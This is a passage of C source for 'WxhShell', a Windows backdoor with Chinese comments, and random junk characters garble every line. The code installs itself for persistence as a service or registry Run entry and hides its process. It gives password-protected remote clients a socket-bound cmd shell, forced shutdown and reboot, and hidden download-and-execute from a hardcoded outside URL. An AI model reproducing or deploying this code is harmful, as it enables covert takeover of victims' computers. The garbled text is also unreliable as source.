  // 关机 PSCzeR  
  case 'd': { 6(#fGH&[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d_t>  
    if(Boot(SHUTDOWN)) n*(9:y=l1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GjVq"S  
    else { 8w,+Y]X<P[  
    closesocket(wsh); dyH<D5  
    ExitThread(0); ~H<oqk:O-  
    } qW~Z#Si  
    break; >WYiOXYv  
    } 6t zUp/O  
  // 获取shell ^a>3U l{  
  case 's': { eXs^YPi  
    CmdShell(wsh); _:N+mEF  
    closesocket(wsh); ub/Z'!  
    ExitThread(0); `.oWmBey\  
    break; )I~U&sT\/  
  } o )\\(^ld  
  // 退出 h=?V)WSM  
  case 'x': { PhUG}94  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uGXN ciEp`  
    CloseIt(wsh); =2Vs))>Y  
    break; mGZJ$|  
    } g=ehAg  
  // 离开 h?Y->!'  
  case 'q': { 11"- taWj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /#<R  
    closesocket(wsh); sxG8 jD  
    WSACleanup(); qu8!fFQjYL  
    exit(1); R_DstpsT  
    break; 1w` ]2  
        } /z=xEnU#  
  } "+0Yhr?  
  } 2OA0rH"v  
cWp5' e]A  
  // 提示信息 W;Pdbf"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;+ -@AYl  
} Fx@ovI- 5  
  } g?7I7W~?`  
7LFJi@*8  
  return; F.rNh`44  
} OM>,1;UH]  
7lLh4__;`6  
// shell模块句柄 A{Kc"s4fO  
int CmdShell(SOCKET sock) %yyvB5Y^  
{ Etj0k} A  
STARTUPINFO si; j ."L=  
ZeroMemory(&si,sizeof(si)); Ee~<PDzB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; biLNR"/E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +6zW(Ql/  
PROCESS_INFORMATION ProcessInfo; k?bIu  
char cmdline[]="cmd"; y 4 wV]1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "V= IG{.  
  return 0; I ~U1vtgp  
} )7aUDsu>4  
*\-$.w)k  
// 自身启动模式 p&s~O,Bw$  
int StartFromService(void) mBwM=LAZ  
{ $yn7XonS  
typedef struct (yJY/|  
{ U}yq*$N  
  DWORD ExitStatus; e7_.Xr~[  
  DWORD PebBaseAddress; u# TNW.  
  DWORD AffinityMask; ^@V; `jsll  
  DWORD BasePriority; -$ VP#%  
  ULONG UniqueProcessId; CD! Aa  
  ULONG InheritedFromUniqueProcessId; +!~"o oQZh  
}   PROCESS_BASIC_INFORMATION; K]{x0A  
|#b]e|aP  
PROCNTQSIP NtQueryInformationProcess; +nIjW;RU  
< NRnE8:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iJ&jg`"=F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P Nf_{4  
Nc da~h Q  
  HANDLE             hProcess; g7UZtpLTm  
  PROCESS_BASIC_INFORMATION pbi; 4\_~B{kzZ  
k4E2OyCFoJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WR.>?IG2E  
  if(NULL == hInst ) return 0; >iV2>o_  
b)[2t^zG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mG*ER^Y@D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ez-jVi-Fi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q\$k'(k>35  
{i^F4A@=Z  
  if (!NtQueryInformationProcess) return 0; $eq*@5B  
c:[8ng 2v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J+(B]8aj  
  if(!hProcess) return 0; cr`NHl/XF  
p9y@5z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Bjp4:;Bb  
`DFo:w!k  
  CloseHandle(hProcess); 5%jy7)8C  
n~Yr`5+Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0'g e}2^  
if(hProcess==NULL) return 0; KSYHG  
W%wc@.P  
HMODULE hMod; Q$*JkwPQ}  
char procName[255]; *UZd !a)  
unsigned long cbNeeded; !{+a2wi  
1\X_B`xwD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); . #FJM2Xk  
Y2TXWl,Jk  
  CloseHandle(hProcess); H[Q3M~_E  
cakwGs_{  
if(strstr(procName,"services")) return 1; // 以服务启动 *%ta5a  
"(YfvO+  
  return 0; // 注册表启动 #z5$_z?_  
} so>jz@!EE  
]@6L,+W"  
// 主模块 8~}~ d}wW  
int StartWxhshell(LPSTR lpCmdLine) }rQ0*h  
{ JKF/z@Vbe\  
  SOCKET wsl; "!9FJ Y  
BOOL val=TRUE; )tv~N7  
  int port=0; =.]{OT  
  struct sockaddr_in door; |Kq<}R  
aT~=<rEDy  
  if(wscfg.ws_autoins) Install(); iOB*K)U1  
dAr=X4LE  
port=atoi(lpCmdLine); { V$}qa{P  
.Q!pQ"5  
if(port<=0) port=wscfg.ws_port; *AG01# ZF  
J(Fk@{!F.*  
  WSADATA data; FvXpqlp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hEA;5-m  
{rzvZ0-j}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "H\R*\-0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B.4Or]  
  door.sin_family = AF_INET; 98Y1-Z^ .  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fP/;t61Z  
  door.sin_port = htons(port); ;3\'}2^|l  
8xt8kf*k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4jw q$G  
closesocket(wsl); n+1`y8dy  
return 1; )tx2lyY:  
} 9hei8L:  
Ov;q]Vn>  
  if(listen(wsl,2) == INVALID_SOCKET) { "9#hk3*GqX  
closesocket(wsl); J6mUU3F9f  
return 1; HBm(l@#.  
} 2Mu3] 2>  
  Wxhshell(wsl); {^Rr:+  
  WSACleanup(); %x8vvcO^t  
|,T"_R_K  
return 0; 6~O;t'd  
b(~#CHg  
} -HvJ&O.V$  
o]B2^Yq;x  
// 以NT服务方式启动 6Z5$cR_vC7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TMD*-wYr  
{ uBw[|,yn2*  
DWORD   status = 0; c27Zh=;Tj  
  DWORD   specificError = 0xfffffff; ' L-h2  
kvN<o-B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Xb@dQRVX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +bk+0k9k5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xD9ZL  
  serviceStatus.dwWin32ExitCode     = 0; 7[1 VFc#tf  
  serviceStatus.dwServiceSpecificExitCode = 0; QN;GMX5&  
  serviceStatus.dwCheckPoint       = 0; r_MP[]f|0  
  serviceStatus.dwWaitHint       = 0; +4F; m_G6  
_^D-nk?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rX22%~1  
  if (hServiceStatusHandle==0) return; x@*?~1ai  
zp\_5[qJ;  
status = GetLastError(); G_}oI|B  
  if (status!=NO_ERROR) 44pVZ5c  
{ `_x#`%!#2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mr,G H x  
    serviceStatus.dwCheckPoint       = 0; +hcJ!$J7  
    serviceStatus.dwWaitHint       = 0; +I@2,T(eG  
    serviceStatus.dwWin32ExitCode     = status; E(*S]Z[  
    serviceStatus.dwServiceSpecificExitCode = specificError; & j*Ylj}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {KSy I#  
    return; OKA6S*  
  } | Pqs)Mb]  
:4)lmIu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L i+|%a  
  serviceStatus.dwCheckPoint       = 0; i "aQm  
  serviceStatus.dwWaitHint       = 0; .uB[zJc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o\qeX|.70  
} 0R;`)V\^  
rS0#]Gg  
// 处理NT服务事件,比如:启动、停止 Q6n8,2*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~ujg250.L  
{ X{iidTW`xv  
switch(fdwControl) EcPvE=^c  
{ +&* >FeJY  
case SERVICE_CONTROL_STOP: $#_^uWN-M  
  serviceStatus.dwWin32ExitCode = 0; iZ0.rcQj'o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KP!7hJhw  
  serviceStatus.dwCheckPoint   = 0;  nyZ?m  
  serviceStatus.dwWaitHint     = 0; uN0'n}c;1.  
  { ~Fo`Pr_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @"iNjqxh  
  } z'zC  
  return; GYonb) F  
case SERVICE_CONTROL_PAUSE: Ok phbAX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h1#l12k^'  
  break; u@aM8Na  
case SERVICE_CONTROL_CONTINUE: .:/X~{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~]BR(n  
  break; :I^4ILQCD  
case SERVICE_CONTROL_INTERROGATE: M#yUdl7d  
  break; qJ$S3B  
}; xzRC %  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); USXPa[  
} BT(G9 Pj;  
hP/uS%X   
// 标准应用程序主函数 Y5TBWcGU%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (CE2]Nv9")  
{ .yb8<qs  
s%?<:9  
// 获取操作系统版本 fVq,?  
OsIsNt=GetOsVer(); XX *f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0qBXL;sE  
M+4S>Sjw  
  // 从命令行安装 M<@9di7c  
  if(strpbrk(lpCmdLine,"iI")) Install(); r?x~`C  
z=LO$,JW`  
  // 下载执行文件 '=IuwCB|;  
if(wscfg.ws_downexe) { G+iJS!=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B,Jn.YX  
  WinExec(wscfg.ws_filenam,SW_HIDE); [ <Q{  
} V.[b${  
|h:3BV_  
if(!OsIsNt) { R xWD>:  
// 如果时win9x,隐藏进程并且设置为注册表启动 }Ub "Vb  
HideProc(); n4zns,:)/  
StartWxhshell(lpCmdLine); os(}X(   
} tdC kvVE  
else XB%`5wwd  
  if(StartFromService()) n4 Y ]v  
  // 以服务方式启动 }Z`@Z'  
  StartServiceCtrlDispatcher(DispatchTable); + >v{#A_u  
else 87nsWBe  
  // 普通方式启动 _"'-f l98*  
  StartWxhshell(lpCmdLine); H/ub=,Ej*  
(7v`5|'0  
return 0; ;"%luQA<w  
} 16I(S  
B^1Io9  
GF Rd:e  
||?wRMV  
=========================================== ,qlFk|A|  
tWdP5vfp  
QpifO  
fVBRP[,   
I3?:KVa  
l1RFn,Tzr  
" OZh+x`' #  
,@2d4eg 4  
#include <stdio.h> < YuI}d~'  
#include <string.h> \y/+H  
#include <windows.h> JDC,]  
#include <winsock2.h> 5TdI  
#include <winsvc.h> wT\dzp>/  
#include <urlmon.h> F^');8~L  
@yjui  
#pragma comment (lib, "Ws2_32.lib") ;Y16I#?;Kh  
#pragma comment (lib, "urlmon.lib") II_MY#0X  
 Ia)^  
#define MAX_USER   100 // 最大客户端连接数 *$>$O%   
#define BUF_SOCK   200 // sock buffer s[@@INU  
#define KEY_BUFF   255 // 输入 buffer Iyvl6  
SHPZXJ{  
#define REBOOT     0   // 重启 \'N|1!EO|t  
#define SHUTDOWN   1   // 关机 ]9pcDZB  
k4nA+k<WI`  
#define DEF_PORT   5000 // 监听端口 #kGxX@0  
8%9OB5?F6  
#define REG_LEN     16   // 注册表键长度 |zL.PS  
#define SVC_LEN     80   // NT服务名长度 Xq%!(YD|  
KBGJB`D*  
// 从dll定义API ~ .Eln+N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |m7`:~ow  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :hxZ2O?5_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @)8C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }~5xlg$B<<  
K#{E87G(  
// wxhshell配置信息 ]H<C Rw  
struct WSCFG { 1')/BM2  
  int ws_port;         // 监听端口   s/'gl  
  char ws_passstr[REG_LEN]; // 口令 _'oy C(:}  
  int ws_autoins;       // 安装标记, 1=yes 0=no <`m.Vbvm"  
  char ws_regname[REG_LEN]; // 注册表键名 dUJNr_  
  char ws_svcname[REG_LEN]; // 服务名 g@"6QAP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O^gq\X4}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 PZl(S}VY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =U".L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u]c nbm  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UoxF00H@!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s ^{j  
Jq`fD~(7  
}; V1;Qt-i  
,K6]Q|U@r  
// default Wxhshell configuration OiY2l;68  
struct WSCFG wscfg={DEF_PORT, 0?t!tugG  
    "xuhuanlingzhe", @w:sNXz-  
    1, ;h3*MR  
    "Wxhshell", Xc5[d`]  
    "Wxhshell", :<IW'  
            "WxhShell Service", ikRIL2Y  
    "Wrsky Windows CmdShell Service", |,&!Q$<un  
    "Please Input Your Password: ", RN:#+S(8  
  1, *id|za|:k  
  "http://www.wrsky.com/wxhshell.exe", {UZli[W1  
  "Wxhshell.exe" h?YjG^'9  
    }; 0QIocha  
emS+%6U  
// 消息定义模块 k*c:%vC!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [I4FU7mpH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MgMLfgt"V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7<^D7  
char *msg_ws_ext="\n\rExit."; KwQO,($,]  
char *msg_ws_end="\n\rQuit."; |_2ANWHz  
char *msg_ws_boot="\n\rReboot..."; nZ7v9o9  
char *msg_ws_poff="\n\rShutdown..."; M7Hk54U +t  
char *msg_ws_down="\n\rSave to "; W\<#`0tUt  
O x$|ZEh  
char *msg_ws_err="\n\rErr!"; ,n!xzoX_  
char *msg_ws_ok="\n\rOK!"; #-HN[U?Gs  
=\%>O7c,8Y  
char ExeFile[MAX_PATH]; lE|T'?/  
int nUser = 0; c8"I]Qc7  
HANDLE handles[MAX_USER]; |f?C*t',  
int OsIsNt; $=m17GD  
M*S5&xpX  
SERVICE_STATUS       serviceStatus; fp![Pbms.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z%OSW  
>;3c; nf  
// 函数声明 4QZy-a*tA  
int Install(void); hy)RV=X  
int Uninstall(void); xf]4!zE  
int DownloadFile(char *sURL, SOCKET wsh); ia_8$>xW+  
int Boot(int flag); VYAe !{[  
void HideProc(void); Xp?Z;$r$  
int GetOsVer(void); a@jP^VVk  
int Wxhshell(SOCKET wsl); 49zp@a  
void TalkWithClient(void *cs); }\*Sf[EMD  
int CmdShell(SOCKET sock); dw4)4_  
int StartFromService(void); !3&vgvr  
int StartWxhshell(LPSTR lpCmdLine); "&+0jfLY+  
(P>vI'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +%Gm2e;_u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gwYd4  
^ KjqS\<  
// 数据结构和表定义 [1UqMkXtf  
SERVICE_TABLE_ENTRY DispatchTable[] = 6kuSkd$.  
{ $WPN.,7  
{wscfg.ws_svcname, NTServiceMain}, YWZF*,4  
{NULL, NULL} V7@xr M  
}; +{w& ksk  
SA7,]&Zb  
// 自我安装 kv4J@  
int Install(void) T?ZMmUE  
{ 6e*b;{d  
  char svExeFile[MAX_PATH]; /(0d{  
  HKEY key; E37@BfpO3  
  strcpy(svExeFile,ExeFile); &L?Dogo  
7f$Lb,\y  
// 如果是win9x系统,修改注册表设为自启动 5~X%*_[],  
if(!OsIsNt) { d#tUG~jc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M:SxAo-D2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '} kq@  
  RegCloseKey(key); ;i#gk%- 2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O&s6blD11  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X>6a@$MxP  
  RegCloseKey(key); _# F'rl6'  
  return 0; uR%H"f  
    } qpeK><o  
  } *3K"Kc2  
} #?=cg]v_  
else { ^>p [b  
FS}z_G|4]  
// 如果是NT以上系统,安装为系统服务 )-{Qa\6(%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MnI $%  
if (schSCManager!=0) L' pZ  
{ eBV{B70k  
  SC_HANDLE schService = CreateService 7| T:TbY>  
  ( ^Bb_NcU  
  schSCManager, HW G~m:km  
  wscfg.ws_svcname, `+o.w#cl  
  wscfg.ws_svcdisp, YC_^jRB8n  
  SERVICE_ALL_ACCESS, FTfA\/tl(;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , / fq6-;co+  
  SERVICE_AUTO_START, PS22$_}   
  SERVICE_ERROR_NORMAL, ("oA{:@d  
  svExeFile, M5V1j(URE  
  NULL, g3XAs@  
  NULL, A!kyga6F5  
  NULL, Mt Z(\&~  
  NULL, aVYUk7_<  
  NULL ,H?p9L; qp  
  ); jb2:O,+!  
  if (schService!=0) {\&"I|dpe  
  { f)x}_dw%  
  CloseServiceHandle(schService); h<.[U $,  
  CloseServiceHandle(schSCManager); bSghf"aN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,lJ6"J\8.  
  strcat(svExeFile,wscfg.ws_svcname); S8RB0^Q7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &3f.78a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jQ)>XOok  
  RegCloseKey(key); k I~]u  
  return 0; ;" *`  
    } j#f&!&G5<&  
  } "/?qT;<$)  
  CloseServiceHandle(schSCManager); 0d ->$gb  
} | dwxea  
} VWv0\:,G  
? ^CGJ1  
return 1; wjJ1Psnx  
} '5U$`Xe1  
2&fwr>!$  
// 自我卸载 !y`e,(E  
int Uninstall(void) { NJ>[mKg  
{ Zg&\K~OC  
  HKEY key; d 6EY'*0  
Dj+Osh  
if(!OsIsNt) { ek)(pJ(+#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wt fOE@h  
  RegDeleteValue(key,wscfg.ws_regname); jPNfLwVkl:  
  RegCloseKey(key); N08n/u&cr,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P{!:pxu[  
  RegDeleteValue(key,wscfg.ws_regname); *h:EE6|  
  RegCloseKey(key); w WU_?Dr_~  
  return 0; 'kvFU_)  
  } N-9gfG  
} ^&H=dYcV>/  
} A'1AU:d  
else { U]0)$OH5e  
d %W}w.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E$Pjp oQTf  
if (schSCManager!=0) J*!:ar  
{ ;-GzGDc~0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bTGK@~  
  if (schService!=0) FraW6T}_  
  { d J:x1j  
  if(DeleteService(schService)!=0) { Q'% o;z*  
  CloseServiceHandle(schService); _-J@$d%  
  CloseServiceHandle(schSCManager); u^zitW!X$  
  return 0; 4E\ntufo  
  } &vX!7 Y  
  CloseServiceHandle(schService); [=6~"!P}  
  } y32++b!  
  CloseServiceHandle(schSCManager); MW~B[%/  
} y!N)@y4  
} ai jGz<  
lp-Zx[#`}C  
return 1; Cw&D}  
} F}(QKO*  
n E}<e:  
// 从指定url下载文件 0"psKf'  
int DownloadFile(char *sURL, SOCKET wsh) 4F,Ql"ae(  
{ [Cqqjv;_  
  HRESULT hr; uQ]]]Z(H'  
char seps[]= "/"; OsL%SKs|  
char *token; Vnj/>e3  
char *file; `uZv9I"  
char myURL[MAX_PATH]; BDkBYhz;7  
char myFILE[MAX_PATH]; }K80G~O2<  
^Lmc%y  
strcpy(myURL,sURL); Z/kaRnG[@t  
  token=strtok(myURL,seps); p_qm}zp  
  while(token!=NULL) 2{B(j&{  
  { ]p&<nK,  
    file=token; Jrd4a~XP  
  token=strtok(NULL,seps); Vt=(2d5:p  
  } O+p-1 C$\  
tNuCxb-  
GetCurrentDirectory(MAX_PATH,myFILE); j'Y"/<  
strcat(myFILE, "\\"); 04PoBv~g  
strcat(myFILE, file); .k,Jt+  
  send(wsh,myFILE,strlen(myFILE),0); )ko{S[gG  
send(wsh,"...",3,0); Mq :'-`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); plx/}ah8  
  if(hr==S_OK) ~8xh0TSi  
return 0; )d(0Y<e @  
else gMBQtPNM  
return 1; 2K rqY  
L;M^>{>  
} s"',370  
`}~ )1'(#/  
// 系统电源模块 3$N %iE6  
int Boot(int flag) 6{+_T  
{ . z$Sm  
  HANDLE hToken; w"a 9'r  
  TOKEN_PRIVILEGES tkp; L;S*.Ol>  
HIX=MprL<  
  if(OsIsNt) { qE`:b0FT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gJPDNZ*6pk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r=DHt&x=  
    tkp.PrivilegeCount = 1; PM-PP8h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q6.*"`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qTTn51  
if(flag==REBOOT) { 9R@abm,I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m c\ C  
  return 0; 2#b<d?"  
} dT]L-uRZgy  
else { S@c\|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y Tw',N{  
  return 0; w.D4dv_H  
} o9 i#N  
  } Qb?y@>-[  
  else { /~Zc}o,J  
if(flag==REBOOT) { ~)wwX:;B_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h7EUIlh"  
  return 0; 7~ *;=,mw  
} gj[ >p=Wn  
else { R5K-KSvW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u%=bHg  
  return 0; niYz9YX  
} jy!f{dsC  
} Eg`R|CF  
@TA8^ND  
return 1; JN&MyA"  
} m)@Q_{=6M  
>G<\1R  
// win9x进程隐藏模块 N a. nA  
void HideProc(void) KP=D! l&q  
{ t&R!5^R  
n9kd2[s|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |7QVMFZ  
  if ( hKernel != NULL ) E 4='m  
  { p*pn@z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qSEB}1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 66~e~F}z  
    FreeLibrary(hKernel); %Lp2jyv.  
  } MUbhEau?  
3`&VRF8  
return; V< i<0E  
} pxw{  
:3a&Pb*PL  
// 获取操作系统版本 ;23=p=/h  
int GetOsVer(void) n2n00%Wu[  
{ #"Eks79s  
  OSVERSIONINFO winfo; t7|MkX1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YKP=0 j3,  
  GetVersionEx(&winfo); |?x^8e<*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7$+P|U  
  return 1; >oft :7p  
  else e=gboR  
  return 0; W il{FcHY  
} u}Ei_ O<z  
c8#T:HM|`  
// 客户端句柄模块 GFd Z`i  
int Wxhshell(SOCKET wsl) N@cMM1  
{ 5mI?pfm  
  SOCKET wsh; 6Cl+KcJH  
  struct sockaddr_in client; Az9X#h.vf  
  DWORD myID; x*unye7  
Z$!C=  
  while(nUser<MAX_USER) M MAAHo  
{ ?_VRfeztw  
  int nSize=sizeof(client); kF+ZW%6N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <TI3@9\qXE  
  if(wsh==INVALID_SOCKET) return 1; f\h%; X  
,dHP`j ?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [#7y[<.P  
if(handles[nUser]==0) lir &e 9I+  
  closesocket(wsh); D3%l4.h  
else tgO+*q5B  
  nUser++; PSW #^o  
  } R'G'&H{N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xik`W!1S  
<9@&oN+T  
  return 0; =a?a@+  
} ':,>eL#+uV  
5Xwk*@t2a  
// 关闭 socket 3%XG@OgP  
void CloseIt(SOCKET wsh) o*%3[HmV  
{ *Jb_=j*)  
closesocket(wsh); |.j^G2x  
nUser--; w`M]0'zls  
ExitThread(0); OYBotk]{1  
} d4ic9u*D  
C0zrXhY_v  
// 客户端请求句柄 @ (i*-u3Tq  
void TalkWithClient(void *cs) jZrY=f  
{ 8dc538:q}  
_kh>Z  
  SOCKET wsh=(SOCKET)cs; BiA >QQ  
  char pwd[SVC_LEN]; Ru)(dvk}S  
  char cmd[KEY_BUFF]; BwJNi6,  
char chr[1]; PPN q:,  
int i,j;  \C|;F  
w3<Z?lj:  
  while (nUser < MAX_USER) { dF$KrwDK  
%h0D)6 j  
if(wscfg.ws_passstr) { Am#m>^!qb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gk"mr_03  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D2Y&[zgv  
  //ZeroMemory(pwd,KEY_BUFF); F b1EMVu  
      i=0; `Gf{z%/  
  while(i<SVC_LEN) { SLSF <$  
GL/  KB  
  // 设置超时 /a%*u6z@  
  fd_set FdRead; 9QX4R<"wUg  
  struct timeval TimeOut; l#Yx TY  
  FD_ZERO(&FdRead); 7k>zuzRyF  
  FD_SET(wsh,&FdRead); Q5g,7ac8L  
  TimeOut.tv_sec=8; bpGzTU  
  TimeOut.tv_usec=0; HP;|'b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %=BtOM_2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); . /Y&\<  
m+H%g"Zj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :#Ty^-"]1  
  pwd=chr[0]; _~PO  
  if(chr[0]==0xd || chr[0]==0xa) { s){Q&E~X  
  pwd=0; n-d:O\]  
  break; NNgK:YibD  
  } @Eo4U]-  
  i++; kr#I{gF  
    } ~fBex_.o*  
gTnS[  
  // 如果是非法用户,关闭 socket oK)[p!D?0{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &%6NQWW  
} Q ]/B/  
,pn ) >  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9MT3T?IS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3#9uEDdE  
RXM}hqeG  
while(1) { ^=k {~  
A&NqQ V,  
  ZeroMemory(cmd,KEY_BUFF); 6>s=Ci ZB  
jSB'>m]  
      // 自动支持客户端 telnet标准   1ADv?+j)A/  
  j=0; ^L ]B5,} -  
  while(j<KEY_BUFF) { O'OFz}x),  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A9t8`|1"%H  
  cmd[j]=chr[0]; M</Wd{.g"  
  if(chr[0]==0xa || chr[0]==0xd) { p/N62G  
  cmd[j]=0; x=h0Fq ,T  
  break; 4HW;  
  } o'96ON0  
  j++; b9y)wBC%`  
    } G,B?&gFX  
r4EoJyt  
  // 下载文件 KhrFg1|  
  if(strstr(cmd,"http://")) { *(icR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z&A0hI4d  
  if(DownloadFile(cmd,wsh)) >zFD $  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B_cgWJ*4  
  else AO $Wy@  
